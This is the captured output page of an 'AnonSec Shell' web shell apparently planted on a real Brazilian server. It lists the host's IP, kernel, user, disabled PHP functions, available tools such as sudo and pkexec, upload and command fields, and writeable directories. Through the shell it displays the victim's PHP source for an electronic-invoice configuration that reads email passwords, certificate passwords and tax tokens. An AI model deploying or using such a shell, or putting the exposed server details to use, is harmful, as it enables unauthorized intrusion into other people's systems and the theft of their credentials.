AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/gasch/application/plugins/modulo_fiscal/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/gasch/application/plugins/modulo_fiscal/controllers/config_nota.php
<?php 
function geraConfig($dataCompany,$type){
 $dataEmail = ORM::for_table('sys_emailconfig')->find_one(1);
 $state = ORM::for_table('state')->find_one($dataCompany['company_state_id']);   
 $path=getcwd();       
$aDocFormat = array(
    'format'=>'P',
    'paper' => 'A4',
    'southpaw' => true,
    'pathLogoFile' =>$path."//application//plugins//modulo_fiscal//empresa//images//".$dataCompany['note_img_logo'],
    "pathLogoNFe"=>$path."//application//plugins//modulo_fiscal//empresa//images//".$dataCompany['note_img_logo'],
    "pathLogoNFCe"=>$path."//application//plugins//modulo_fiscal//empresa//images//".$dataCompany['note_img_logo'],
    'logoPosition' => 'L',
    'font' => 'Times',
    'printer' => ''
);
$aMailConf = array(
    'mailAuth' => true,
    'mailFrom' => $dataEmail->username,
    'mailSmtp' => $dataEmail->host,
    'mailUser'=>$dataEmail->username,
    'mailPass'=>$dataEmail->password,
    'mailProtocol'=>$dataEmail->secure,
    'mailPort'=>$dataEmail->port,
    'mailFromMail'=>$dataEmail->username,
    'mailFromName'=>$type,
    'mailReplayToMail'=> $dataEmail->username,
    'mailReplayToName' => $type,
    'mailImapHost' => '',
    'mailImapPort' => '',
    'mailImapSecurity'=> '',
    'mailImapNocerts'=> '',
    'mailImapBox'=>''
//    'mailImapHost' => 'imap.suaempresa.com.br',
//    'mailImapPort' => '143',
//    'mailImapSecurity'=> 'tls',
//    'mailImapNocerts'=> 'novalidate-cert',
//    'mailImapBox'=>'INBOX'
);
$aProxyConf = array(
    'proxyIp' => '',
    'proxyPort' => '',
    'proxyUser' => '',
    'proxyPass' => ''
);
$aConfig = array(
    'atualizacao' => date('Y-m-d h:i:s'),
    'tpAmb' => ($dataCompany['note_environment']=='producao'?1:2),  //1=Produção; 2=Homologação
    'pathXmlUrlFileNFe' => ($type=='NFe'?'nfe_ws3_mod55.xml':'nfe_ws3_mod65.xml'),
    'pathXmlUrlFileCTe' => 'cte_ws2.xml',
    'pathXmlUrlFileMDFe' => 'mdfe_ws1.xml',
    'pathXmlUrlFileCLe' => '',
    'pathXmlUrlFileNFSe' => '',
    'pathNFeFiles' => $path."//application//plugins//modulo_fiscal//empresa//NF-e",
    'pathCTeFiles'=> '',
    'pathMDFeFiles'=> '',
    'pathCLeFiles'=> '',
    'pathNFSeFiles'=> '',
    "pathCertsFiles"=>$path."//application//plugins//modulo_fiscal//empresa//certs//",
    "siteUrl"=>APP_URL,
    'schemesNFe' => 'PL_008i2',
    'schemesCTe' => 'PL_CTe_200',
    'schemesMDFe' => 'PL_MDFe_100',
    'schemesCLe' => '',
    'schemesNFSe' => '',
    'razaosocial' =>$dataCompany['company_name'],
    "nomefantasia"=>$dataCompany['company_fantasy_name'],
    'siglaUF'=> $state->uf_state,
    'cnpj' => preg_replace('/\D/', '', $dataCompany['company_cnpj']),
    "ie"=>$dataCompany['company_ie'],
    "im"=>$dataCompany['company_im'],
    "iest"=> preg_replace('/\D/', '', $dataCompany['company_iest']),
    "cnae"=> preg_replace('/\D/', '', $dataCompany['company_cnae']),
    "regime"=>preg_replace('/\D/', '', $dataCompany['company_crt']),
    'tokenIBPT' => '',
    'tokenNFCe' =>$dataCompany['note_token_nfce'],
    'tokenNFCeId' => str_pad($dataCompany['note_token_nfce_id'], 6, "0", STR_PAD_LEFT),//'000001',
    'certPfxName' => $dataCompany['certificate'],
    'certPassword' =>$dataCompany['password_certificate'],
    'certPhrase' => '',
    'aDocFormat' => $aDocFormat,
    'aMailConf' => $aMailConf,
    'aProxyConf' => $aProxyConf
);
return json_encode($aConfig);
    
}

Anon7 - 2022
AnonSec Team